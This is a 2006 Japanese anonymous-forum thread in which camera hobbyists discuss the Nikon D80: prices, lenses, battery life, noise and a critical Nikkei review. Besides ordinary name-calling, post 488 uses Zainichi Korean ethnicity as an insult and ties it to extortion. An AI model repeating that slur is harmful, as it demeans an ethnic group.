今のジャニのように女性ファンが多かったのはベイシティローラーズ。
クイーンも人気あった。
今では考えられないがベストテン内に外グループばかりいた。
ちなみに今の45〜50歳が中学か高校位。

409 :名無CCDさん@画素いっぱい:2006/09/24(日) 17:43:25 ID:WNaKTlXL0
kissスレへどうぞ

410 :名無CCDさん@画素いっぱい:2006/09/24(日) 17:55:44 ID:8eD70S+EO
>>406
おめ!だがキタムラのわりには高過ぎないか?

411 :名無CCDさん@画素いっぱい:2006/09/24(日) 17:58:03 ID:NWnDfaUj0
>>410
家の近所のキタムラだと本体とレンズだけで194500円だった・・・
買えない・・・。

412 :名無CCDさん@画素いっぱい:2006/09/24(日) 18:12:47 ID:rTLUDvek0
>>406 オメ!
ホントに多いね、18-200とのセットデビュー。
子供の運動会の時はこの組み合わせで行くつもりだけど、
結構かぶっちゃいそうw

413 :ホワイト ◆KosbZRC5sc :2006/09/24(日) 18:32:45 ID:ejzhsVvt0
Detail (D-SLR) Rating (out of 10)
Build quality 9.0
Ergonomics & handling 9.0
Features 9.5
Image quality 8.0 ←-------
Performance (speed) 9.0
Value 8.5


画質の評価が低い

Valueは値段か?

414 :名無CCDさん@画素いっぱい:2006/09/24(日) 18:35:25 ID:F0yItzrw0
けんか、うるなー。

415 :名無CCDさん@画素いっぱい:2006/09/24(日) 18:42:10 ID:VZwhjiMT0
>>410
ありがとん。
やっぱ高いんですかねえ。
でも新宿とかじゃVR18-200がなかなか手に入らなくて、
今回は見送ろうかと思ってたところにレンズ発見!
犬も歩けばっていうか、半ば勢いで買ってしまった。

>>412
どもども。
僕はバイクツーリング、自転車レース観戦、登山なんかで使う予定です。
今日、丹沢登って途中にリスを見つけたんだけど、
アタフタとレンズを望遠に換えて、三脚用意してる間にロスト。
すこしでもこういうことがなくなってくれると良いですけど。
運動会シーズンでこの組み合わせで買う人が多いと店員も言ってましたね。

416 :名無CCDさん@画素いっぱい:2006/09/24(日) 18:45:18 ID:6yfw3lcN0
D50 だけども、リス君。
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060922020415.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060922020500.jpg

417 :名無CCDさん@画素いっぱい:2006/09/24(日) 18:47:36 ID:VZwhjiMT0
>>416
おお!
こーゆーのが撮れるようになりたいモンです。

418 :名無CCDさん@画素いっぱい:2006/09/24(日) 18:47:55 ID:cKX7CJFQ0
オークションでVR18-200と合わせて18万弱でした。
デジイチデビュー。
登山で使いたいと思ってます。

思ったより重くなくてなかなかしっくりきてます。
山岳風景写真は暗いレンズでもいいのでこれくらいがいいですね。

419 :名無CCDさん@画素いっぱい:2006/09/24(日) 18:48:16 ID:jjzjwlZt0
ここはD80スレなのだが・・・?

420 :名無CCDさん@画素いっぱい :2006/09/24(日) 18:54:46 ID:b3hlSFFn0
>>415
SDにもよるけどキタムラにしてはちと高いと思うな。
どこかのキタムラは本体+レンズで18万という情報を見たことがある。
ここやkakaku.comの情報を元に値切ってみた?

421 :名無CCDさん@画素いっぱい:2006/09/24(日) 19:01:47 ID:F0yItzrw0
まるち

422 :名無CCDさん@画素いっぱい:2006/09/24(日) 19:21:53 ID:cBw5Jp4J0
>52 です。

初心者なんで、難しい事はなーんもワカランけど、
D80買って本当に良かった。撮影が楽しくてタマラン(w

http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060924191834.jpg

いや、下手くそなのは解ってますって(w


423 :名無CCDさん@画素いっぱい:2006/09/24(日) 19:25:31 ID:VZwhjiMT0
>>420
昨日レンズを探して新宿を歩き回ってスカだったんで、まあ、いいかと買ってしまいました。
もう少し勉強してから買うべきだったと反省してます。
SDはIOデータの20MB/sのヤツです。

レンズ:88200→83000
SD:7980→5480
ボデー:107800→101520
だったかな。

424 :名無CCDさん@画素いっぱい:2006/09/24(日) 19:27:08 ID:5JHH/9JI0
    /\___/ヽ   ヽ
   /    ::::::::::::::::\ つ
  . |  ,,-‐‐   ‐‐-、 .:::| わ
  |  、_(o)_,:  _(o)_, :::|ぁぁ
.   |    ::<      .::|あぁ
   \  /( [三] )ヽ ::/ああ
   /`ー‐--‐‐―´\ぁあ

キモイヨー

425 :名無CCDさん@画素いっぱい:2006/09/24(日) 19:33:46 ID:Q2t6CFbI0
何が?

426 :名無CCDさん@画素いっぱい:2006/09/24(日) 19:37:44 ID:8eD70S+EO
おまいら!SDはパナの2G買うが吉だぞ!


427 :名無CCDさん@画素いっぱい :2006/09/24(日) 19:42:52 ID:b3hlSFFn0
>>423
2日に渡りご苦労様。
まあ、今後は値段のことは忘れてD80を楽しんでね。

428 :ホワイト ◆KosbZRC5sc :2006/09/24(日) 19:46:18 ID:ejzhsVvt0
>>426
高くない?18000円くらいの値札が下がってた・・・

429 :名無CCDさん@画素いっぱい:2006/09/24(日) 19:59:36 ID:zPznb6FQ0
>>422
ナイストンボ

430 :名無CCDさん@画素いっぱい:2006/09/24(日) 20:13:22 ID:Z86crI7r0
今、シンガポール空港で成田への乗り継ぎ待ち。
3日前フランスのReimsの大聖堂の前でD200+18-200VRで
撮影して一休みしてふと気が付くと見知らぬフランス人が
横に立っていて俺のカメラをのぞき込んでいる。よく
見たらその人の手にはD80+18-200VR。いろいろ話をしたけど、
地元Reimsのプロカメラマンとのこと。とても気に入って
いるようで絶賛してたよ。



431 :名無CCDさん@画素いっぱい:2006/09/24(日) 20:26:42 ID:eGJOsRCj0
>>430
ニコン持ちでプロなんてもういないよ。お前騙されただけだよwww

432 :名無CCDさん@画素いっぱい:2006/09/24(日) 20:28:43 ID:3Tw/L0fi0
フランス人もナイコンて言ってるのかなぁ?
なんかメニュー言語をフランス語に変更してみたくなったw

433 :名無CCDさん@画素いっぱい:2006/09/24(日) 20:32:24 ID:6yfw3lcN0
>>430
そこまで書くなら、Remi の大聖堂の写真をアップしてくれ。

434 :名無CCDさん@画素いっぱい:2006/09/24(日) 21:39:31 ID:FnB4jk0/0
シャッター耐久性は4万回くらいなのか?トホホ

435 :名無CCDさん@画素いっぱい:2006/09/24(日) 21:43:22 ID:Rhm0fKGn0
>耐久性は4万回くらいなのか

本当かょ!!

436 :名無CCDさん@画素いっぱい:2006/09/24(日) 21:45:32 ID:5JHH/9JI0
ボデーで100K円切ったら買おう(´・ω・`)
オレにはそのぐらいが精一杯だorz

437 :名無CCDさん@画素いっぱい:2006/09/24(日) 21:47:40 ID:8qYkXp3i0
>>430
VR18-200で大聖堂の内観撮影とかどう?
テレ端で天井・柱のディテールとか撮る時とか、
ゴシック教会の暗さにどこまで手振れ有効かレポート希望。
まじで。ヨロ!画像メンドかたら感想だけでも!
でもReimsは内部けっこう明るいよね。
>>432
フランス語発音ならNikonは「ニコン」だよ。

438 :名無CCDさん@画素いっぱい:2006/09/24(日) 21:49:10 ID:6hKTm5Ht0
>>436
既に切ってるぞ

439 :名無CCDさん@画素いっぱい:2006/09/24(日) 21:57:59 ID:Z4Uc3utk0
>>403
廉価…れんか と読む。

440 :名無CCDさん@画素いっぱい:2006/09/24(日) 22:00:46 ID:URVc7FDY0
けんかに釣られるなよw

441 :名無CCDさん@画素いっぱい:2006/09/24(日) 22:01:23 ID:d76uW3Of0
なんだかんだゆ〜てもD80って良いカメラだとオレは思う。
バランスのニコンと言われてるだけあるよw


442 :名無CCDさん@画素いっぱい:2006/09/24(日) 22:03:23 ID:5JHH/9JI0
>>438
ヨドバシぐらいしか買うところがないんで
家電量販店は嫌だし価格コムもちょっと不安

443 :名無CCDさん@画素いっぱい:2006/09/24(日) 22:05:15 ID:oglJQENN0
3万回?

444 :名無CCDさん@画素いっぱい:2006/09/24(日) 22:09:40 ID:6hKTm5Ht0
>>442
保証書ついてるんだから、どこで買っても一緒。

445 :名無CCDさん@画素いっぱい:2006/09/24(日) 22:19:35 ID:0wmYcH030
ニコンの廉価機は耐久テストを端折って(開発費を減らす)販売価格を
安くするらしいから、どこで壊れるのかは誰も知らない予感。

おそらく○万回テストしてオッケーならば、壊れるまでの試験しないと思われ。
そういう試験は、D1桁やD3桁の開発ルーチンと割りきっているだろうし。

だから逆に、ニコンにとって、シャッター耐久と防滴を謳ったK10Dは衝撃だと思う。
K10Dが販売されたら、その中の何台かはニコンのゴーモン室逝きだろう。

446 :名無CCDさん@画素いっぱい:2006/09/24(日) 22:21:45 ID:RID6TuXi0
下らないことばかり行ってないで写真撮れよ、馬鹿者

447 :名無CCDさん@画素いっぱい:2006/09/24(日) 22:32:34 ID:cUFUrosq0
>>265
どうやったら確認できるんですか

448 :名無CCDさん@画素いっぱい:2006/09/24(日) 22:34:52 ID:6yfw3lcN0
>>437
ケルンの大聖堂を VR18-200mm で撮ったけど、
ISO200 F4.5 で、シャッター速度は 1/2 〜 1/10 くらいだった。
広角端でも、合格率 20% くらい。

ステンドグラスは、さすがに明るくて、1/10 〜 1/30 くらいで、
合格率 100% だった。



449 :名無CCDさん@画素いっぱい:2006/09/24(日) 22:43:12 ID:+ErbYG/V0
>>448
素直にISO800を使うべきだんべ。ISO800ならクラス最高なんだから、、

http://www.dpreview.com/reviews/nikond80/page18.asp

これを見て気づいたんだが、正直ISO800でNRnomal、ISO1600でNRhighっつうのが
賢い使い方なのかもしんね。もちろんディテールはある程度潰れるんだが、それでも
6Mくらいのカメラで撮っていると割り切れば良いし、、

450 :名無CCDさん@画素いっぱい:2006/09/24(日) 22:45:07 ID:6yfw3lcN0
>>449
あ、D50 + VR18-200 でした。

451 :名無CCDさん@画素いっぱい:2006/09/24(日) 22:53:14 ID:+ErbYG/V0
>>450
すまそ、、D80スレと勘違いした、、_| ̄|○
しかもこのページみて、手持ちのD80で試してみたんだが、、
結果がイマイチだった、、('A`)、
やっぱNRはなるべく使わない方が良いのかな、、、

452 :名無CCDさん@画素いっぱい:2006/09/24(日) 23:08:20 ID:Bwp9wUeS0
デジ一眼購入検討してるんですが、K10Dと比べてD80何かいいとこありますか?
向こうの方がどう考えてもセンサーも同じで、機能盛りだくさんなんですが。
もしかして終わってますか?D80

453 :名無CCDさん@画素いっぱい:2006/09/24(日) 23:10:39 ID:5JHH/9JI0
>>452
PENTAXだよ?

454 :名無CCDさん@画素いっぱい:2006/09/24(日) 23:10:51 ID:6hKTm5Ht0
>>452
K10Dのサンプル出てきてからな

455 :名無CCDさん@画素いっぱい:2006/09/24(日) 23:20:37 ID:hzAmqBnTO
>>452
初心者向けの中では最もチャンスに強い。
シャッタータイムラグ、ストロボ調光、暗所AF精度と超音波モーター。ゆっくり撮るならペンタかなぁ。

456 :名無CCDさん@画素いっぱい:2006/09/24(日) 23:22:37 ID:H/FblHYb0
合格率 100%ってなんのこと?

457 :名無CCDさん@画素いっぱい:2006/09/24(日) 23:25:16 ID:cBw5Jp4J0
>452
機能盛りだくさんの方、買いなよ(ニヤニヤ


458 :名無CCDさん@画素いっぱい:2006/09/24(日) 23:26:56 ID:/xOPS1Y20
>>435
D100に始まって、ニコンの普及機を買い続けてるけど(どれも初期ロット)、
D70が今ひとつ(10万ショットくらいでトラブルが出た)だった以外は、どれも
割と頑丈だったよ。
D50も15万位撮ってるけど、全くノートラブル。

D80はまだ1万ちょっとだから分からないけど。

459 :名無CCDさん@画素いっぱい:2006/09/24(日) 23:29:26 ID:6hKTm5Ht0
>>452

【10Mデジ一眼】α100,D80,KDX,K10D【戦国時代2】
http://hobby7.2ch.net/test/read.cgi/dcamera/1158293991/601

楽しそうだなw

460 :名無CCDさん@画素いっぱい:2006/09/24(日) 23:46:27 ID:8eD70S+EO
>>452
ペンタックスだよw
まぁ買えばw

461 :名無CCDさん@画素いっぱい:2006/09/24(日) 23:52:19 ID:GxQt6Z4R0
撮り比べをしました。ISO800。絞り優先オートの-2EV。
50mmF1.4 F5.6 1/40秒
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060924232430.jpg
18-55mm/F3.5-5.6 F5.6 1/30秒
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060924232501.jpg
VR18-200mm/F3.5-5.6 F5.6 1/30秒
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060924232545.jpg

50mmだけシャッターが速くなった。18-55が若干暗くなったが、ほぼ開放してる割にはよく写ってる。

462 :名無CCDさん@画素いっぱい:2006/09/24(日) 23:56:21 ID:GxQt6Z4R0
昼間ではないので違いが分かりにくい結果になりました。

463 :名無CCDさん@画素いっぱい:2006/09/24(日) 23:57:46 ID:/xOPS1Y20
>>461
さすがに単焦点は絞れるからいいねぇ。

464 :名無CCDさん@画素いっぱい:2006/09/25(月) 00:03:25 ID:upNuZJe70
テンプレの参考
http://hobby7.2ch.net/test/read.cgi/dcamera/1159109081/5-11
レンズ関係はAi連動がないのは別として、ほとんど同じ。
ソフトはまだ対応が少ないかな。

465 :名無CCDさん@画素いっぱい:2006/09/25(月) 00:10:55 ID:sJbUiBqJ0
>>461
手持ちですか?

466 :名無CCDさん@画素いっぱい:2006/09/25(月) 00:12:07 ID:0OhYBO9+0
マニュアル、F5.6、1/20秒、ISO200でワイド端です。
18-55mm/F3.5-5.6
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060924235827.jpg
VR18-200mm/F3.5-5.6
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060924235859.jpg

等倍表示すると色収差の出方がよく分かる絵です。
これも18-55の方が少し暗い感じですが、逆にVR18-200の方が明るいのかも。

467 :名無CCDさん@画素いっぱい:2006/09/25(月) 00:17:03 ID:0OhYBO9+0
>>465
手持ちです。連写してブレてない物を選びました。
後の選別作業がメンドクサイけど、デジ一ならではの連写能力を活用すれば
夜間でも中望遠の撮影が手持ちで出来ます。

468 :名無CCDさん@画素いっぱい:2006/09/25(月) 00:19:12 ID:UC1akYk40
単焦点が別格的に画質が良いということだけはわかった。
昼の画像きぼんぬ。

469 :名無CCDさん@画素いっぱい:2006/09/25(月) 01:14:35 ID:waPKoLjj0
>>468
それは使う人による。
ズーム使ってダメな奴は単使ってもダメ。 

470 :名無CCDさん@画素いっぱい:2006/09/25(月) 01:16:31 ID:gG5Y5Jt20
    /\___/ヽ   ヽ
   /    ::::::::::::::::\ つ
  . |  ,,-‐‐   ‐‐-、 .:::| わ
  |  、_(o)_,:  _(o)_, :::|ぁぁ
.   |    ::<      .::|あぁ
   \  /( [三] )ヽ ::/ああ
   /`ー‐--‐‐―´\ぁあ

こんどのCMキモイヨー


471 :名無CCDさん@画素いっぱい:2006/09/25(月) 01:17:14 ID:gg16QdAr0
>>469
なんか勘違いしている。
写真の良し悪しを言っているのではなく、
レンズの良し悪しを言っている。

472 :名無CCDさん@画素いっぱい:2006/09/25(月) 02:12:59 ID:UR3ZjtyG0
やっぱ最後は単焦点に来ますね くっきりしています、さすがに綺麗

473 :名無CCDさん@画素いっぱい:2006/09/25(月) 02:28:13 ID:DclXUdSZ0
KISSデジ×のCFの結末があるって事を知ってる?

最後はあの子供達がKISSデジ×をステージ上でストラップ振り回し
叩き壊してステージセットを炎上させて終了するらしい。

474 :名無CCDさん@画素いっぱい:2006/09/25(月) 06:33:24 ID:UHRsnczq0
>>466
栄のラシックじゃん!今度はオアシスパークを夜撮ると良いよw

475 :437:2006/09/25(月) 08:18:01 ID:EcvuWLrj0
>>448
レスthx!!
ISO200ってがんばり過ぎじゃね?
ISO400ならSSが1/6〜30って計算であってるかな?
4段補正つっても、それくらいかあ…。
ステンドグラスは
sigma55-200でも撮れたよ(サン・ドニ)。
webでこのレンズのサンプルみたら
けっこう歪む印象だったんだが、
建物撮りでもオッケ?おれも海外旅行の便利レンズとして
一本と思っとるんだー。

476 :名無CCDさん@画素いっぱい:2006/09/25(月) 08:23:57 ID:IhH7OrVp0
>>452
地雷踏むつもりでK10D買えっ!
で、報告よろしこ。

477 :名無CCDさん@画素いっぱい:2006/09/25(月) 09:00:59 ID:2sKUhB/lO
今キヤノンやニコンの超音波モーターレンズに慣れてるヤシが
K10D買うとAFの遅さやジージー音に萎えること間違いなしw

478 :名無CCDさん@画素いっぱい:2006/09/25(月) 09:48:27 ID:/XclB0OP0
おれは単焦点好きなんで、銀塩からずっとNikon使っているが、
いまだに超音波の恩恵にあずかれていないorz

479 :名無CCDさん@画素いっぱい:2006/09/25(月) 09:51:31 ID:2sKUhB/lO
>>478
人生の1/5は損してるゾw

480 :名無CCDさん@画素いっぱい:2006/09/25(月) 09:53:25 ID:ZRgglBgE0
D一桁系なら、ジーコジーコレンズでも苦にならん。

481 :名無CCDさん@画素いっぱい:2006/09/25(月) 10:04:29 ID:8vDpncB60
DCモーターレンズでもニコンとペンタじゃ駆動音や反応速度がだいぶ違う
ちょっと試しにK100Dに浮気してみたが、ペンタはやっぱりペンタ

482 :名無CCDさん@画素いっぱい:2006/09/25(月) 10:09:08 ID:waPKoLjj0
ニコ爺ってキヤノンには土下座するくせに、その他のメーカーは見下してるよなwww

483 :名無CCDさん@画素いっぱい:2006/09/25(月) 10:14:28 ID:2sKUhB/lO
>>482
その陰険な正確だと友達居なそうだなw
母親に泣きながら『あんたなんか産まなければよかった!』言われた事あるだろ?

484 :名無CCDさん@画素いっぱい:2006/09/25(月) 10:15:54 ID:waPKoLjj0
>>483
ニコ爺って図星のときはそうやって話をそらそうとするだよなwwwwwwwwwwwwwww  アホみたいwwwwwwwwwwwww

485 :名無CCDさん@画素いっぱい:2006/09/25(月) 10:19:46 ID:2sKUhB/lO
>>484
話をそらすだってw
まぁエエわ、とにかく人殺しだけはするなよw

486 :名無CCDさん@画素いっぱい:2006/09/25(月) 10:27:51 ID:ZRgglBgE0
ID:waPKoLjj0
毎日御苦労なニートくんw

487 :名無CCDさん@画素いっぱい:2006/09/25(月) 10:29:36 ID:ZRgglBgE0
ID:waPKoLjj0って、1レス5円の在宅アルバイターだったなw

488 :名無CCDさん@画素いっぱい:2006/09/25(月) 10:41:28 ID:qHV4Hp5W0
在宅アルバイターなんてとんでもない。
在日韓国人で、企業にたかる総会屋・似非右翼・重クレーマーだろ。

2ちゃん初期に東芝に噛みついた重クレーマーAKKYも在日だった。
こいつは3万円で買ったVHSビデオに白いノイズが入ったから謝罪しろと、
東芝社長にビデオ本体を送りつけて、散々大騒ぎしたのが1999年。

489 :名無CCDさん@画素いっぱい:2006/09/25(月) 10:45:47 ID:Fm2eAt5pO
電池の持ちどだ?

D70は毎日撮っても一ヵ月もったが、D80だと一週間ぐらいしか保たないんじゃないか?マジで。

490 :名無CCDさん@画素いっぱい:2006/09/25(月) 11:36:15 ID:KxUiJ0Hh0
画素数で電池の保ちまで類推するってかw

491 :名無CCDさん@画素いっぱい:2006/09/25(月) 11:40:05 ID:G5redgTF0
半月かけて約800枚撮って、バッテリー残量は14%
D200と比べればかなり持つね。

492 :名無CCDさん@画素いっぱい:2006/09/25(月) 12:12:43 ID:1B3o1Tjv0
俺のは236コマで残量29%


493 :名無CCDさん@画素いっぱい:2006/09/25(月) 12:23:27 ID:8vDpncB60
週末の旅行でブラブラ600回ぐらいシャッターを切って
モニターを見ながら150コマほど削除
この段階で残量10%を切った
撮り方やレンズによっては1日持たない人もいると思う
D50のように予備電池or充電器無しで旅行には行けない

494 :名無CCDさん@画素いっぱい:2006/09/25(月) 13:07:58 ID:Fm2eAt5pO
待機時間長く設定しすぎたかな

495 :名無CCDさん@画素いっぱい:2006/09/25(月) 13:17:55 ID:+UScSLl1O
おいおい、自作自演で捏造するのもいいかげんにしろ。
ちゃんとしたニコン使いは、グリップやファインダーや軽量レンズで手を抜かないペンタを認めてるぞ。
キヤノンのセンサー至上主義・大艦巨砲レンズこそ会議室の発想。一般ユーザーへの意識が低い。

496 :名無CCDさん@画素いっぱい:2006/09/25(月) 13:25:18 ID:f9nwwdLB0
おいらはD70&D80持ち。 んでー会社でD50を買ったんだけど例のリコール対象Noだったんで
D70で使ってたのを会社のD50へ・・・。 んで交換対象品を手に入れてEN-EL3eに交換⇒
D70で使ってた。 で・・・D80買って(゚д゚)ウマー。 D70はサードパーティ製のバッテリーで動かしてる。

ヒコーキ屋みたいにAF-Cモードで連射 画像のピントチェック頻繁にやると500ショットいけるかな?
みたいな感じですな。 予備バッテリーは必携です。 もちろん撮影後の画像表示はOFFにしてるけどね。


497 :名無CCDさん@画素いっぱい:2006/09/25(月) 13:31:22 ID:waPKoLjj0
>>496
お前の偏差値低そうw アホ丸出し文章だなwww

498 :名無CCDさん@画素いっぱい:2006/09/25(月) 13:36:46 ID:ZRgglBgE0
>>497
また5円稼いだねw


いつのまにか、dpreviewにサンプル出てるね
http://www.dpreview.com/gallery/nikond80_samples/

(・∀・)イイ!!

499 :名無CCDさん@画素いっぱい:2006/09/25(月) 13:46:51 ID:m5RNgMfi0
>>498 (・∀・)色がイイねぇ〜!!
高感度もノイズが少なくて綺麗!!!

500 :名無CCDさん@画素いっぱい:2006/09/25(月) 14:00:52 ID:lxYA8xOj0
>>499
キヤノンは3年前から高感度もノイズが少なくて綺麗だったよwww

501 :名無CCDさん@画素いっぱい:2006/09/25(月) 14:02:11 ID:ZRgglBgE0
>>500
そうだね。



っで?

502 :名無CCDさん@画素いっぱい:2006/09/25(月) 14:03:07 ID:FckqrPur0
>>498
ISO3200とかISO1600とか結構ばしばし使ってるのな、、
要するにちょっとしたアラを無視すればバンバン高感度を
使って撮った方が良いっつうことだよね。

503 :名無CCDさん@画素いっぱい:2006/09/25(月) 14:43:15 ID:2sKUhB/lO
基本的に外に撮影に行かず部屋で猫や電柱や家からの景色を撮るヤシ!
こいつらが高感度ノイズだのスペックだのレンズを語るひきこもりカメヲタだよw
健全な写真撮りはそんなん言わないよw

504 :名無CCDさん@画素いっぱい:2006/09/25(月) 14:47:04 ID:F2Pf0bLR0
一眼レフデジタルカメラ
読売新聞 - 3時間前
... 1位のニコン「D80」は9月1日の発売後、爆発的な売れ行き。
調査期間後に発売されたキヤノン「EOS Kiss Digital X」もそれを上回る勢いで売れているといい ...
http://www.yomiuri.co.jp/atmoney/hitchart/20060925ak01.htm

なんだかんだ言っても、結局両方とも売れてるんだな。

505 :名無CCDさん@画素いっぱい:2006/09/25(月) 14:51:00 ID:aTHdbeNL0
さすがニコン。
高感度ノイズの少なさもCG絵の素晴らしさもキヤノンを超えたね。

http://it.nikkei.co.jp/pc/news/index.aspx?n=MMITdp000014092006

506 :名無CCDさん@画素いっぱい:2006/09/25(月) 14:57:00 ID:iScSurSl0
どちらも手ブレ防止機能が無い。高い光学手ブレ防止レンズを
ビギナーに売りつけるつもり。

507 :名無CCDさん@画素いっぱい:2006/09/25(月) 14:58:08 ID:ZRgglBgE0
>>506
そうだね。



っで?


508 :名無CCDさん@画素いっぱい:2006/09/25(月) 15:05:22 ID:uF0OC45E0
次は1000万画素越えるのが出るのかな?
それとも画素数そのまんまでゴミ取り機能とか付けてくれるのか?

509 :名無CCDさん@画素いっぱい:2006/09/25(月) 16:26:25 ID:2iBVp2QR0
1000万画素据え置きで良いから600万画素並みの高感度耐性にならんかね
D200のようにMFレンズで測光可能になるようお願いしたい
ゴミ取りはあれば嬉しいが、無くても我慢する

510 :名無CCDさん@画素いっぱい :2006/09/25(月) 16:39:10 ID:YhMj2mM+0
>>496
業務上横領ですね。
>>498
確かにイイ!! と思ったらほとんどのサンプルは
レンズが17-55F2.8Gなんだね。

511 :名無CCDさん@画素いっぱい:2006/09/25(月) 16:51:07 ID:1B3o1Tjv0
俺、散歩に出掛けてまで電柱撮るぞ。



512 :名無CCDさん@画素いっぱい:2006/09/25(月) 16:56:15 ID:VSlnlM370
D80ってすでに過去のカメラみたいな感じがするのは漏れだけか?

513 :ホワイト ◆KosbZRC5sc :2006/09/25(月) 17:00:27 ID:RsCdJTjj0
http://it.nikkei.co.jp/pc/news/index.aspx?n=MMITdp000014092006&cp=4

■まとめ――絵作りに難あるものの、カメラらしい質感に優れた1台

 反面、標準状態の色の再現性にやや難があるように感じた。彩度が高く、特に青色が思わぬところで浮いてくるようなシーンが見受けられた。描写に余裕が無いというのか、絵にリアリティーさが欠けてしまっているようなシーンもあった。

 こういう絵作りと画素数の因果関係があるのか筆者は知り得ないところであるが、1000万画素という高画素化の弊害であるとすれば残念だ。

 絵作りの難点はあるものの、「カメラ本来の質感」や「撮影する喜び」を重視する利用者には十分期待に応えられる1台といえるだろう。


画質は悪いがボディはよくできてるって・・・いつものニコン機じゃん orz

514 :名無CCDさん@画素いっぱい:2006/09/25(月) 17:06:13 ID:fBvWLpSv0
相変わらず日経は飛ばしているねぇ。
どちらかと言うと、主観的にしか批判出来ないレビュアーの方が表現に余裕が無い。

515 :ホワイト ◆KosbZRC5sc :2006/09/25(月) 17:08:50 ID:RsCdJTjj0
http://it.nikkei.co.jp/pc/news/index.aspx?n=MMITdp000014092006&cp=1
■彩度が高い撮影画像

 実写した感じはどうだろう。まずは娘をモデルにして撮影してみる。

 まず、彩度が高いように感じた。特に青が強く出るようで、室内で撮った写真のレースカーテンの影の部分、それから外で撮った空の青みが誇張されて写っていて、かなり不自然に見える。リアリティーの無い描写にがっかりしてしまう。

 外の風景で仕上がり設定を変えて撮ってみる。仕上がり設定は6つ。「標準」「ソフトに」「鮮やかに」「より鮮やかに」「人物きれい」「白黒」を選択でき、自分好みにカスタマイズした設定も登録可能だ。

 標準状態では彩度がやや高く、色を塗りつぶしたような感じに見えてしまうので、彩度と輪郭強調を一段階落とした設定を使うようにしてみた。これくらいが普通に写ってよいように思う。

 遠景の風景でもシャープに写っていて、1020万画素の解像度を実感する。しかし、何となくギスギスしたような感じにも見える。同じ1020万画素CCDを使うソニーのα100は、もう少し線の細かい、繊細でクリアな感じの描写だった。

 露出傾向としてややオーバー目に写るケースが多かった。家族の写真を撮るユーザー層を意識したためかもしれない。風景写真を撮る際にはアンダー目の補正が必要になる場合が多いと認識しておくとよいだろう。


 ●彩度が高い、特に青が強く出る。
 ●かなり不自然に見える。リアリティーの無い描写にがっかりしてしまう。
 ●標準状態では彩度がやや高く、色を塗りつぶしたような感じに見えてしまう。
 ●遠景の風景では何となくギスギスしたような感じにも見える。
 ●ソニーのα100は、もう少し線の細かい、繊細でクリアな感じの描写だった。
 ●露出傾向としてややオーバー目に写るケースが多かった。 
 ●風景写真を撮る際にはアンダー目の補正が必要になる場合が多い。

516 :名無CCDさん@画素いっぱい:2006/09/25(月) 17:09:19 ID:2iBVp2QR0
逆に考えるんだ
あとは画質だけ
…と考えるんだ

517 :名無CCDさん@画素いっぱい:2006/09/25(月) 17:13:24 ID:BHyLxmFv0
カラーモードIIIaの特徴そのものだと思うぞ。>>515

518 :ホワイト ◆KosbZRC5sc :2006/09/25(月) 17:16:47 ID:RsCdJTjj0
>>517
カラーモード1aで撮っての評価だよ。
俺のD80の印象も同じような感じ。
全部RAWでとってシルキーで現像してなんとかしてるw

519 :名無CCDさん@画素いっぱい:2006/09/25(月) 17:22:38 ID:sUfDNhVz0
>筆者はデジタルカメラは普段キヤノン製カメラを使用しており、ニコンの使用経験は多くない。
>キヤノンユーザーからみたD80の印象として読み進めていただきたい。

・・・要は慣れてないだけなんじゃないの?


520 :名無CCDさん@画素いっぱい:2006/09/25(月) 17:29:03 ID:sUfDNhVz0
>写真好き、北海道好きが高じてサラリーマンを辞めて北海道に移り住んで9年。
>雄大な丘の景色が広がる美瑛町に程近い大雪山の麓、東川町に暮らしながら、
>フリーランスフォトグラファー「フォトシーズン」として活動中。
>風景写真の他、婚礼写真、人物ポートレート、料理撮影、カラー、白黒、デジタルと
>ジャンルを問わずカメラを向ける。ライフワークでの撮影テーマは北海道の空気感。



521 :名無CCDさん@画素いっぱい:2006/09/25(月) 17:51:08 ID:FckqrPur0
 反面、標準状態の色の再現性にやや難があるように感じた。彩度が高く、特に青色が思わぬところで浮いてくるようなシーンが見受けられた。描写に余裕が無いというのか、絵にリアリティーさが欠けてしまっているようなシーンもあった。

 こういう絵作りと画素数の因果関係があるのか筆者は知り得ないところであるが、1000万画素という高画素化の弊害であるとすれば残念だ。

 絵作りの難点はあるものの、「カメラ本来の質感」や「撮影する喜び」を重視する利用者には十分期待に応えられる1台といえるだろう。

 5Dを買って良かった。

                                    飯塚達央

522 :ホワイト ◆KosbZRC5sc :2006/09/25(月) 17:57:03 ID:RsCdJTjj0
   飯塚達央 は5Dが高くて買えない20Dユーザーだったようなw

523 :名無CCDさん@画素いっぱい:2006/09/25(月) 17:59:55 ID:FckqrPur0
いやK10Dのスレがあまりにもおもしろかったんで、つい、、、、

524 :名無CCDさん@画素いっぱい:2006/09/25(月) 18:30:37 ID:6ycjvJzG0
キャノンのCMOSも変な色の事が多いよねぇニヤニヤ
画素ピッチも同じぐらいだしーニヤニヤ
低感度機は青っぽいよねぇニヤニヤ

525 :名無CCDさん@画素いっぱい:2006/09/25(月) 18:34:00 ID:zsW+/CeLO
ペンタの切って貼ったような唐突な赤も厄介だぜ。

526 :名無CCDさん@画素いっぱい:2006/09/25(月) 18:52:23 ID:uF0OC45E0
日経記事にある「絵作りの難点はあるものの・・・」って
カメラとしてダメって事じゃないのか?

527 :ホワイト ◆KosbZRC5sc :2006/09/25(月) 19:12:06 ID:RsCdJTjj0
>>526
RAWで撮れば彩度もシャープネスも自在に変更できる
問題ない…

D80買って本当によかった。

528 :名無CCDさん@画素いっぱい:2006/09/25(月) 19:20:45 ID:lAKBTvG80
給料 チン☆⌒ 凵\(\・∀・) まだぁ?
早く買ってデビューしたいよ・・・。

529 :名無CCDさん@画素いっぱい:2006/09/25(月) 19:24:21 ID:KxUiJ0Hh0
日経記事はモノ特集は当てにならない。
ジャンルは違うが、イヤホン特集のときも、
滅茶苦茶な評価だった。

俺は、デジタルフォトの付録CDで見当を付けている。
充分ではないけどな。

